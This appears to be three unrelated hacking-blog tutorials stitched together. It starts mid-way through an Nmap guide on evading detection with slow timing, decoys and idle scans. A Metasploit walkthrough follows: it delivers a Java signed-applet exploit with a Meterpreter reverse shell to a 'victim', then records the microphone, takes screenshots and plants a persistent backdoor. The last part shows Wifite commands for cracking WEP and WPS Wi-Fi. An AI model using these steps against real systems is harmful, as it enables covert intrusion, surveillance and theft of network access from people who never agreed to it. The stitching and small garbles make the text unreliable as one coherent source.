A -T Paranoid (or -T0) scan will wait (generally) at least 5 minutes between each packet sent. This makes it almost impossible for a firewall to detect a port scan in progress (since the scan takes so long it would most likely be attributed to random network traffic). Such a scan will still show up in logs, but it will be so spread out that most analysis tools or humans will miss it completely.
A -T Insane (or -T5) scan will map a host in very little time, provided you are on a very fast network or don’t mind losing some information along the way.
Timings for individual aspects of a scan can also be set using the –host_timeout, –max_rtt_timeout, –min_rtt_timeout, –initial_rtt_timeout, –max_parallelism, –min_parallelism, and –scan_delay options. See the Nmap manual for details.

12.2  Decoys

The -D option allows you to specify Decoys. This option makes it look like those decoys are scanning the target network. It does not hide your own IP, but it makes your IP one of a torrent of others supposedly scanning the victim at the same time. This not only makes the scan look more scary, but reduces the chance of you being traced from your scan (difficult to tell which system is the “real” source).

12.3  FTP Bounce

The FTP protocol (RFC 959) specified support for a “proxy” ftp, which allowed a connection to an FTP server to send data to anywhere on the internet. This tends not to work with modern ftpds, in which it is an option usually disabled in the configuration. If a server with this feature is used by Nmap, it can be used to try to connect to ports on your victim, thus determining their state.
This scan method allows for some degree of anonymity, although the FTP server may log connections and commands sent to it.

12.4  Turning Off Ping

The -P0 (that’s a zero) option allows you to switch off ICMP pings. The -PT option switches on TCP Pings, you can specify a port after the -PT option to be the port to use for the TCP ping.
Disabling pings has two advantages: First, it adds extra stealth if you’re running one of the more stealthy attacks, and secondly it allows Nmap to scan hosts which don’t reply to pings (ordinarily, Nmap would report those hosts as being “down” and not scan them).
In conjunction with -PT, you can use -PS to send SYN packets instead of ACK packets for your TCP Ping.
The -PU option (with optional port list after) sends UDP packets for your “ping”. This may be best to send to suspected-closed ports rather than open ones, since open UDP ports tend not to respond to zero-length UDP packets.
Other ping types are -PE (Standard ICMP Echo Request), -PP (ICMP Timestamp Request), -PM (Netmask Request) and -PB (default, uses both ICMP Echo Request and TCP ping, with ACK packets)

12.5  Fragmenting

The -f option splits the IP packet into tiny fragments when used with -sS, -sF, -sX or -sN. This makes it more difficult for a firewall or packet filter to determine the packet type. Note that many modern packet filters and firewalls (including iptables) feature optional defragmenters for such fragmented packets, and will thus reassemble the packet to check its type before sending it on. Less complex firewalls will not be able to cope with fragmented packets this small and will most likely let the OS reassemble them and send them to the port they were intended to reach. Using this option could crash some less stable software and hardware since packet sizes get pretty small with this option!

12.6  Idle Scanning

See the section on -sI for information about idle scans.

13  OS Fingerprinting

The -O option turns on Nmap’s OS fingerprinting system. Used alongside the -v verbosity options, you can gain information about the remote operating system and about its TCP Sequenmce Number generation (useful for planning Idle scans).
An article on OS detection is available at http://www.insecure.org/nmap/nmap-fingerprinting-article.html

14  Outputting Logs

Logging in Nmap can be provided by the -oN, -oX or -oG options. Each one is followed by the name of the logfile. -oN outputs a human readable log, -oX outputs an XML log and -oG outputs a grepable log. The -oA option outputs in all 3 formats, and -oS outputs in a format I’m sure none of you would ever want to use (try it; you’ll see what I mean!)
The –append-output option appends scan results to the output files you specified instead of overwriting their contents.

15  Other Nmap Options

15.1  IPv6

The -6 option enables IPv6 in Nmap (provided your OS has IPv6 support). Currently only TCP connect, and TCP connect ping scan are supported. For other scantypes, seehttp://nmap6.sourceforge.net

15.2  Verbose Mode

Highly recommended, -v
Use -v twice for more verbosity. The option -d can also be used (once or twice) to generate more verbose output.

15.3  Resuming

Scans cancelled with Ctrl+C can be resumed with the --resume <logfilename> option. The logfile must be a Normal or Grepable logfile (-oN or -oG).

15.4  Reading Targets From A File

-iL <inputfilename> reads targets from inputfilename rather than from the command-line.
The file should contain a hostlist or list of network expressions separated by spaces, tabs or newlines. Using a hyphen as inputfile makes Nmap read from standard input.

15.5  Fast Scan

The -F option scans only those ports listed in the nmap_services file (or the protocols file if the scan type is -sO). This is far faster than scanning all 65,535 ports!!

15.6  Time-To-Live

The -ttl <value> option sets the IPv4 packets time-to-live. The usefulness of this is in mapping paths through networks and determining ACL’s on firewalls (setting the ttl to one past the packet filter can help to determine information about the filtering rules themselves). Repeated Nmap scans to a single port using differing ttl values will emulate a traceroute style network path map (Try it, its great fun for a while, until you get bored and realise traceroute does it all for you automatically!).

16  Typical Scanning Session

First, we’ll sweep the network with a simple Ping scan to determine which hosts are online.

   1 [chaos]# nmap -sP 10.0.0.0/24
   2
   3 Starting Nmap 4.01 ( http://www.insecure.org/nmap/ ) at
   4         2006-07-14 14:19 BST
   5 Host 10.0.0.1 appears to be up.
   6 MAC Address: 00:09:5B:29:FD:96 (Netgear)
   7 Host 10.0.0.2 appears to be up.
   8 MAC Address: 00:0F:B5:96:38:5D (Netgear)
   9 Host 10.0.0.4 appears to be up.
  10 Host 10.0.0.5 appears to be up.
  11 MAC Address: 00:14:2A:B1:1E:2E (Elitegroup Computer System Co.)
  12 Nmap finished: 256 IP addresses (4 hosts up) scanned in 5.399 seconds

Now we’re going to take a look at 10.0.0.1 and 10.0.0.2, both listed as Netgear in the ping sweep. These IPs are good criteria for routers (in fact I know that 10.0.0.1 is a router and 10.0.0.2 is a wireless access point, since it’s my network, but lets see what Nmap makes of it…)
We’ll scan 10.0.0.1 using a SYN scan [-sS] and -A to enable OS fingerprinting and version detection.

   1 [chaos]# nmap -sS -A 10.0.0.1
   2
   3 Starting Nmap 4.01 ( http://www.insecure.org/nmap/ ) at
   4         2006-07-14 14:23 BST
   5 Insufficient responses for TCP sequencing (0),
   6         OS detection may be less accurate
   7 Interesting ports on 10.0.0.1:
   8 (The 1671 ports scanned but not shown below are in state:
   9         closed)
  10 PORT   STATE SERVICE    VERSION
  11 80/tcp open  tcpwrapped
  12 MAC Address: 00:09:5B:29:FD:96 (Netgear)
  13 Device type: WAP
  14 Running: Compaq embedded, Netgear embedded
  15 OS details: WAP: Compaq iPAQ Connection Point or
  16         Netgear MR814
  17
  18 Nmap finished: 1 IP address (1 host up) scanned in
  19         3.533 seconds

The only open port is 80/tcp – in this case, the web admin interface for the router. OS fingerprinting guessed it was a Netgear Wireless Access Point – in fact this is a Netgear (wired) ADSL router. As it said, though, there were insufficient responses for TCP sequencing to accurately detect the OS.
Now we’ll do the same for 10.0.0.2…

   1 [chaos]# nmap -sS -A 10.0.0.2
   2
   3 Starting Nmap 4.01 ( http://www.insecure.org/nmap/ )
   4         at 2006-07-14 14:26 BST
   5 Interesting ports on 10.0.0.2:
   6 (The 1671 ports scanned but not shown below are in state:
   7         closed)
   8 PORT   STATE SERVICE VERSION
   9 80/tcp open  http    Boa HTTPd 0.94.11
  10 MAC Address: 00:0F:B5:96:38:5D (Netgear)
  11 Device type: general purpose
  12 Running: Linux 2.4.X|2.5.X
  13 OS details: Linux 2.4.0 - 2.5.20
  14 Uptime 14.141 days (since Fri Jun 30 11:03:05 2006)
  15
  16 Nmap finished: 1 IP address (1 host up) scanned in 9.636
  17         seconds

Interestingly, the OS detection here listed Linux, and the version detection was able to detect the httpd running. The accuracy of this is uncertain, this is a Netgear home wireless access point, so it could be running some embedded Linux!
Now we’ll move on to 10.0.0.4 and 10.0.0.5, these are likely to be normal computers running on the network…

   1 [chaos]# nmap -sS -P0 -A -v 10.0.0.4
   2
   3 Starting Nmap 4.01 ( http://www.insecure.org/nmap/ ) at
   4         2006-07-14 14:31 BST
   5 DNS resolution of 1 IPs took 0.10s. Mode:
   6         Async [#: 2, OK: 0, NX: 1, DR: 0, SF: 0, TR: 1, CN: 0]
   7 Initiating SYN Stealth Scan against 10.0.0.4 [1672 ports] at 14:31
   8 Discovered open port 21/tcp on 10.0.0.4
   9 Discovered open port 22/tcp on 10.0.0.4
  10 Discovered open port 631/tcp on 10.0.0.4
  11 Discovered open port 6000/tcp on 10.0.0.4
  12 The SYN Stealth Scan took 0.16s to scan 1672 total ports.
  13 Initiating service scan against 4 services on 10.0.0.4 at 14:31
  14 The service scan took 6.01s to scan 4 services on 1 host.
  15 For OSScan assuming port 21 is open, 1 is closed, and neither are
  16         firewalled
  17 Host 10.0.0.4 appears to be up ... good.
  18 Interesting ports on 10.0.0.4:
  19 (The 1668 ports scanned but not shown below are in state: closed)
  20 PORT     STATE SERVICE VERSION
  21 21/tcp   open  ftp     vsftpd 2.0.3
  22 22/tcp   open  ssh     OpenSSH 4.2 (protocol 1.99)
  23 631/tcp  open  ipp     CUPS 1.1
  24 6000/tcp open  X11      (access denied)
  25 Device type: general purpose
  26 Running: Linux 2.4.X|2.5.X|2.6.X
  27 OS details: Linux 2.4.0 - 2.5.20, Linux 2.5.25 - 2.6.8 or
  28         Gentoo 1.2 Linux 2.4.19 rc1-rc7
  29 TCP Sequence Prediction: Class=random positive increments
  30                          Difficulty=4732564 (Good luck!)
  31 IPID Sequence Generation: All zeros
  32 Service Info: OS: Unix
  33
  34 Nmap finished: 1 IP address (1 host up) scanned in 8.333 seconds
  35                Raw packets sent: 1687 (74.7KB) | Rcvd: 3382 (143KB)

From this, we can deduce that 10.0.0.4 is a Linux system (in fact, the one I’m typing this tutorial on!) running a 2.4 to 2.6 kernel (Actually, Slackware Linux 10.2 on a 2.6.19.9 kernel) with open ports 21/tcp, 22/tcp, 631/tcp and 6000/tcp. All but 6000 have version information listed. The scan found the IPID sequence to be all zeros, which makes it useless for idle scanning, and the TCP Sequence prediction as random positive integers. The -v option is needed to get Nmap to print the IPID information out!
Now, onto 10.0.0.5…

   1 [chaos]# nmap -sS -P0 -A -v 10.0.0.5
   2
   3 Starting Nmap 4.01 ( http://www.insecure.org/nmap/ )
   4         at 2006-07-14 14:35 BST
   5 Initiating ARP Ping Scan against 10.0.0.5 [1 port] at 14:35
   6 The ARP Ping Scan took 0.01s to scan 1 total hosts.
   7 DNS resolution of 1 IPs took 0.02s. Mode: Async
   8         [#: 2, OK: 0, NX: 1, DR: 0, SF: 0, TR: 1, CN: 0]
   9 Initiating SYN Stealth Scan against 10.0.0.5 [1672 ports] at 14:35
  10 The SYN Stealth Scan took 35.72s to scan 1672 total ports.
  11 Warning:  OS detection will be MUCH less reliable because we did
  12         not find at least 1 open and 1 closed TCP port
  13 Host 10.0.0.5 appears to be up ... good.
  14 All 1672 scanned ports on 10.0.0.5 are: filtered
  15 MAC Address: 00:14:2A:B1:1E:2E (Elitegroup Computer System Co.)
  16 Too many fingerprints match this host to give specific OS details
  17 TCP/IP fingerprint:
  18 SInfo(V=4.01%P=i686-pc-linux-gnu%D=7/14%Tm=44B79DC6%O=-1%C=-1%M=00142A)
  19 T5(Resp=N)
  20 T6(Resp=N)
  21 T7(Resp=N)
  22 PU(Resp=N)
  23
  24 Nmap finished: 1 IP address (1 host up) scanned in 43.855 seconds
  25                Raw packets sent: 3369 (150KB) | Rcvd: 1 (42B)

No open ports, and Nmap couldn’t detect the OS. This suggests that it is a firewalled or otherwise protected system, with no services running (and yet it responded to ping sweeps).
We now have rather more information about this network than we did when we started, and can guess at several other things based on these results. Using that information, and the more advanced Nmap scans, we can obtain further scan results which will help to plan an attack, or to fix weaknesses, in this network.

17  Frequently Asked Questions

This section was added as an extra to the original tutorial as it became popular and some questions were asked about particular aspects of an nmap scan. I’ll use this part of the tutorial to merge some of those into the main tutorial itself.

17.1  I tried a scan and it appeared in firewall logs or alerts. What else can I do to help hide my scan?

This question assumes you used a scan command along the lines of:

   1 nmap -sS -P0 -p 1-140 -O -D xxx.xxx.xxx.xxx,
   2         xxx.xxx.xxx.xxx, xxx.xxx.xxx.xxx -sV xxx.xx.xxx.xxx

Note: Each xxx corresponds to an octet of the IP address/addresses. This is instructing NMAP to run a Stealth scan (-sS) without pinging (-P0) on ports 1 to 140 (-p 1-140), to use OS Detection (-O) and to use Decoys (-D). The three comma-separated IPs are the decoy IPs to use. It also specifies to use version scanning (-sV) which attempts to determine precisely which program is running on a port.
Now, heres the analysis of this command: A stealth scan (-sS) is often picked up by most firewalls and IDS systems nowdays. It was originally designed to prevent logging of a scan in the logs for whatever server is running on the port the scanner connects to. In other words, if the scan connects to port 80 to test if its open, Apache (or whatever other webserver they may be using) will log the connection in its logfiles.
The -sS scan option doesn’t make a full TCP connect (which can be achieved with the -sT option, or by not running as root) but resets the connection before it can be fully established. As such, most servers will not log the connection, but an IDS or firewall will recognise this behaviour (in repeated cases) as typical of a port scan. This will mean that the scan shows up in firewall or IDS logs and alerts. There are few ways around this, to be honest. Most firewall/IDS software nowdays is quite good at detecting these things; particularly if its running on the same host as the victim (the system you are scanning).
Note also, that decoys will not prevent your IP showing entirely; it just lists the others as well. A particularly well designed IDS may even be able to figure out which is the real source of the scans.
Where speed of scan isn’t essential, the -P0 option is a good idea. Nmap gains timing information from pinging the host, and can often complete its scans faster with this information, but the ping packets will be sent to the victim from your IP, and any IDS worth its CPU cycles will pick up on the pattern of a few pings followed by connects to a variety of ports. -P0 also allows scanning of hosts which do not respond to pings (i.e. if ICMP is blocked by a firewall or by in-kernel settings).
I mentioned timing in the above paragraph. You can use the -T timing option to slow the scan down. The slower a scan is, the less likely it is to be detected by an IDS. There are bound to be occasional random connects occurring, people type an IP in wrong or try to connect and their computer crashes half way through the connect. These things happen, and unless an IDS is configured extremely strictly, they generally aren’t reported (at least, not in the main alert logs, they may be logged if logging of all traffic is enabled, but typically these kind of logs are only checked if theres evidence of something going on). Setting the timing to -T 0 or -T 1 (Paranoid or Sneaky) should help avoid detection. As mentioned in my main tutorial, you can also set timing options for each aspect of a scan,

Timings for individual aspects of a scan can also be set using the –host_timeout, –max_rtt_timeout, –min_rtt_timeout, –initial_rtt_timeout, –max_parallelism, –min_parallelism, and –scan_delay options. See the Nmap manual for details.

The final note I will add to this answer is that use of the Idle scan method (-sI) means that not a single packet is sent to the victim from your IP (provided you also use the -P0 option to turn off pings). This is the ultimate in stealth as there is absolutely no way the victim can determine that your IP is responsible for the scan (short of obtaining log information from the host you used as part of your idle scan).

17.2  NMAP seems to have stopped, or my scan is taking a very long while. Why is this?

The timing options can make it take a very long time. I believe the -T Paranoid ( -T 0 )option waits up to 5 minutes between packets… now, for 65000 ports, thats 65000 x 5 = 325000 minutes = 225 days!!
-T Sneaky ( -T 1 ) waits up to 15 seconds between scans, and is therefore more useful; but scans will still take a long while! You can use -v to get more verbose output, which will alert you as to the progress of the scan. Using -v twice makes the output even more verbose.

17.3  Will -sN -sX and -sF work against any host, or just Windows hosts?

-sN -sX and -sF scans will work against any host, but Windows computers do not respond correctly to them, so scanning a Windows machine with these scans results in all ports appearing closed. Scanning a *nix or other system should work just fine, though. As I said in the main tutorial, -sX -sF and -sN are commonly used to determine if you’re scanning a Windows host or not, without using the -O fingerprinting option.
The Nmap manual page should help to determine which scans work alongside which options, and on which target systems they are most effective.

17.4  How do I find a dummy host for the Idle Scan (-sI)?

You simply have to scan for hosts using sequential IPID sequences, these are (often) suitable for use as a dummy host for the -sI Idle Scan.

17.5  What does “Host seems down. If it is really up, but blocking our ping probes, try -P0” mean?

When Nmap starts, it tries to ping the host to check that it is online. Nmap also gains timing information from this ping. If the remote host, or a system on the path between you and the remote host, is blocking pings, this ping will not be replied to, and Nmap will not start scanning. Using the -P0 option, you can turn off ping-on-start and have Nmap try to scan anyway.

17.6  Where can I find NmapFE?

NmapFE is a graphical front-end for Nmap.
NmapFE for UNIX/Linux is included in the Nmap source. NmapFE for OSX is available at http://faktory.org/m/software/nmap/ NmapFE for Windows is under development as part of NmapFE++, a new frontend for Linux, OSX and Windows. Information is available at http://www.insecure.org/nmap/SoC/NmapFE.html

How To Hack Windows 8 With Metasploit

How To Exploit /  Hack Windows 8 With Metasploit

microsoft-237843_640Allot of you want to Hack Windows 8

In this article we’re going to learn how to exploit (Windows 8 Preview Build 8400) with client-side attack technique, we’ll get meterpreter session on windows 8 machine. For those who don’t know what is metasploit project.

The Metasploit Project is a computer security project which provides information about security vulnerabilities and aids in penetration testing and IDS signature development. Its most well-known sub-project is the open-source Metasploit Framework, a tool for developing and executing exploit code against a remote target machine. Other important sub-projects include the Opcode Database, shell-code archive, and security research. The Metasploit Project is also well known for anti-forensic and evasion tools, some of which are built into the Metasploit Framework. (Wikipedia)

In this article we’re going to work with Metsaploit the console presented in the first graph.

 win1

Figure 1. Metasploit Console

How to prepare your labs ?

First You need Backtrack 5 with metasploit or you can download metasploit project for your system from link below: http://www.rapid7.com/products/metasploit/download.jsp. Secondly, you need “windows 8 preview Build 8400”

 win2

Figure 2. MSFGUI

Now ready For exploiting ??

1 – first, open the terminal and type “msfconsole“

Note

I typed – sudo su – to take root privilage first because I’m not working on backtrack if you’re on backtack just type msfconsole in terminal as shown in Figure 3

win3

Figure 3. Msf console terminal

Wait for a while and it will be opened, you’ll see a command line starts with MSF> – as shown in the Figure 4.

win4

Figure 4. Msf command line

2 – Secondly, I’ll use an exploit called “Java_signed_applet” which targets JAVA vulnerable versions and can affect a huge amount of computers.

We’ll type in Msf > search java signed, as shown in Figure 5.

win5

Figure 5. Search for java signed applet

We’ll use the first one exploit/multi/browser/java_signed_applet to use any exploit in metasploit project type “use” before exploit name. As shown in Figure 6.

win6

Figure 6. Use exploit

Hint

To get more info about the exploit you can type “info” and you’ll get more information about this exploit – as shown in Figure 7. Here’s the exploit’s description and I think that now we understand how this exploit works (Listing 1). We need to know what’s option for this exploit so we’ll type in “show options” it’s included also in info, as shown in Figure 8.

win7

Figure 7. Exploit information

Listing 1. Exploit Description

Description:

This exploit dynamically creates a .jar file via the

Msf::Exploit::Java mixin,then signs the it. The resulting signed

applet is presented to the victim via a web page with an applet tag.

The victim’s JVM will pop a dialog asking if they trust the signed

applet. On older versions the dialog will display the value of

CERTCN in the “Publisher” line. Newer JVMs display “UNKNOWN” when

the signature is not trusted (i.e., it’s not signed by a trusted

CA). The SigningCert option allows you to provide a trusted code

signing cert, the values in which will override CERTCN. If

SigningCert is not given, a randomly generated selfsigned cert will

be used. Either way, once the user clicks “run”, the applet executes

 

with full user permissions.

win8

Figure 8. Show options

3 – Next, we’ll set the SRVHOST which will be the attacker IP. We’ll type “ifconfig” in terminal to get internal IP address, as shown in Figure 9 – it’s 192.168.1.110.

win9

Figure 9. ifconfig

• We’ll type in “set SRVHOST 192.168.1.110”

• We’ll set the target which is (1 – Windows x86) because we’re going to attack windows machine so type in “set target 1”

• We’ll set the LHOST which is Attacker IP and, because it’s inside an Internal network, we’ll set it with our local IP (192.168.1.110).

win10

Figure 10. set SRVHOST

win11

Figure 11. Set target

win12

Figure 12. Set LHOST

Note

If you’d like to attack outside your local network, you need to set your public IP address in LHOST, and enable DMZ on attacker machine or enable port forwarding.

• Now you need to know which payload you’ll use after attacking machine and the most familiar one is meterpreter, so we’ll set the payload (windows/meterpreter/reverse_tcp), as shown in Figure 13.

win13

Figure 13. Set Payload

Note

If you’d like to use another payload you can type in “show payloads” and choose your preferred payload.

• We’ll specify the URI which will be sent to victim machine. I want to make it on the main directory so I’ll type in “set URIPATH /“ as shown in Figure 14.

win14

Figure 14. Set URIPATH

Note

If you need to specify another URI name you can do it easily by typing in “set URIPATH name” and you can change “name” to your preferred word.

• We’ll type in “exploit” to run it, and it will give us the URI which is our IP address with your preferred URIPATH – Figure 15.

win15

Figure 15. Exploit

Now, We need to send the URL to a victim machine so we’ll open it with our windows8 machine.

• Finally, a message will appear on victim machine after opening URL. If he/she clicked on Run, a meterpreter sessions will be opened in attacker PC, as shown in Figure 16.

win16

Figure 16. Meterpreter

We Can do some commands with victim PC such as capturing screen or recording mic.

First, here’s the first command “sysinfo” – which tell you some information about the system (Figure 17).

win17

Figure 17. System information

We can also see what the processes run at the time in victim machine with “ps” command (Figure 18).

win18

Figure 18. Processes19).

win19

Figure 19. Mic record

And, if you need to take a screen-shot of victim’s screen you can do it easily by “screenshot” command (Figure 20).

win20

Figure 20. Screen-shot

Finally, I tried to upload payload and execute it in victim machine, so, if you want to keep the victim longer with you then you should upload another backdoor to keep in touch with them (Figure 21).

win21

Figure 21. Upload executable file

If you need any help with meterpreter just type “help” and all commands will come up and show in your screen (Figure 22).

win22

Figure 22. Help

References

• http://en.wikipedia.org/wiki/Metasploit_project

• http://www.metasploit.com/modules/exploit/multi/browser/java_signed_applet

• http://www.defcon.org/images/defcon-17/dc-17-presentations/defcon-17-valsmith-metaphish.pdf

Wifite – Hacking Wifi The Easy Way Kali Linux

Wifite

While the aircrack-ng suite is a well known name in the wireless hacking , the same can’t be said about Wifite. Living in the shade of the greatness of established aircrack-ng suite, Wifite has finally made a mark in a field where aircrack-ng failed. It made wifi hacking everyone’s piece of cake. While all its features are not independent (eg. it hacks WPS using reaver), it does what it promises, and puts hacking on autopilot. I’m listing some features, before I tell you how to use wifite (which I don’t think is necessary at all, as anyone who can understand simple English instructions given by Wifite can use it on his own).

Features Of Wifite

  • Sorts targets by signal strength (in dB); cracks closest access points first
  • Automatically de-authenticates clients of hidden networks to reveal SSIDs
  • Numerous filters to specify exactly what to attack (wep/wpa/both, above certain signal strengths, channels, etc)
  • Customizable settings (timeouts, packets/sec, etc)
  • “Anonymous” feature; changes MAC to a random address before attacking, then changes back when attacks are complete
  • All captured WPA handshakes are backed up to wifite.py’s current directory
  • Smart WPA de-authentication; cycles between all clients and broadcast deauths
  • Stop any attack with Ctrl+C, with options to continue, move onto next target, skip to cracking, or exit
  • Displays session summary at exit; shows any cracked keys
  • All passwords saved to cracked.txt
  • Built-in updater: ./wifite.py -upgrade

I find it worth mentioning here, that not only does it hack wifi the easy way, it also hack in the best possible way.  For example, when you are hacking a WEP wifi using Wifite, it uses fakeauth and uses the ARP method to speed up data packets

Hacking WEP network

If you’ve followed my previous posts on Hacking Wifi (WEP), you know there’s a lot of homework you have to do before you even start hacking. But not here. With Wifite, its as easy and simple as a single command.

wifite -wep

You might even have used the command

wifite

If you see any error at this stage move to the bottom of the page for troubleshooting tips. If your issue is not listed please comment. We reply within a day.
The -wep makes it clear to wifite that you want to hack WEP wifis only. It’ll scan the networks for you, and when you think it has scanned enough, you can tell it to stop by typing ctrl+c. It’ll then ask you which wifi to hack. In my case, I didn’t specify -wep so it shows all the wifis in range.

You can also select all and then go take a nap (or maybe go to sleep). When you wake up, you might be hacking all the wifi passwords in front of you. I typed one and it had gathered 7000 IVs (data packets) within 5 mins. Basically you can except it to hack the wifi in 10 mins approx. Notice how it automatically did the fake auth and ARP replay.

Here are a few more screenshots of the working of Wifite, from their official website (./wifite.py is not something that should bother you. You can stick with the simple wifite. Also, specifying the channel is optional so even the -c 6 was unnecessary. Notice that instead of ARP replay, the fragmentation attack was used, using -frag) –

 Hacking WPS wasn’t fast (it took hours), but it was easy and didn’t require you to do anything but wait.

Note, the limitation that many reader on my blog are beginners forbid me from introducing too many attacks. I made a tutorial about ARP replay attack, and that too was detailed as hell. However, Wifite makes it possible for you to use any method that you want to use, by just naming it. As you saw in the screenshot above, the fragmentation attack was carried out just by typing -frag. Similarly, many other attacks can be played with. A good idea would be to execute the following-

wifite -help

This will tell you about the common usage commands, which will be very useful. Here is the list of WEP commands for different attacks-
WEP
-wep        only target WEP networks [off]
-pps <num>  set the number of packets per second to inject [600]
-wept <sec> sec to wait for each attack, 0 implies endless [600]
-chopchop   use chopchop attack      [on]
-arpreplay  use arpreplay attack     [on]
-fragment   use fragmentation attack [on]
-caffelatte use caffe-latte attack   [on]
-p0841      use -p0841 attack        [on]
-hirte      use hirte (cfrag) attack [on]
-nofakeauth stop attack if fake authentication fails    [off]
-wepca <n>  start cracking when number of ivs surpass n [10000]
-wepsave    save a copy of .cap files to this directory [off]

As you can see, its the same thing as is there on the help screenshot. Play around with the attacks and see what you can do. Hacking WPA without WPS wouldn’t be that easy, and while I don’t usually do this, I’m providing a link to an external website for the tutorial . This is the best WPA cracking tutorial I’ve seen, and I can’t write a better one. It’s highly detailed, and I’m just hoping I don’t lose my audience to that website. Here is the tutorial – Cracking Wifi WPA/WPA2 passwords 

Troubleshooting

Wifite quits unexpectedly, sating “Scanning for wireless devices. No wireless interfaces were found. You need to plug in a wifi device or install drivers. Quitting.”
You are using Kali inside a virtual machine most probably. Virtual machine does not support internal wireless card. Either buy an external wireless card, or do a live boot / side boot with Windows. Anything other than Virtual machine in general.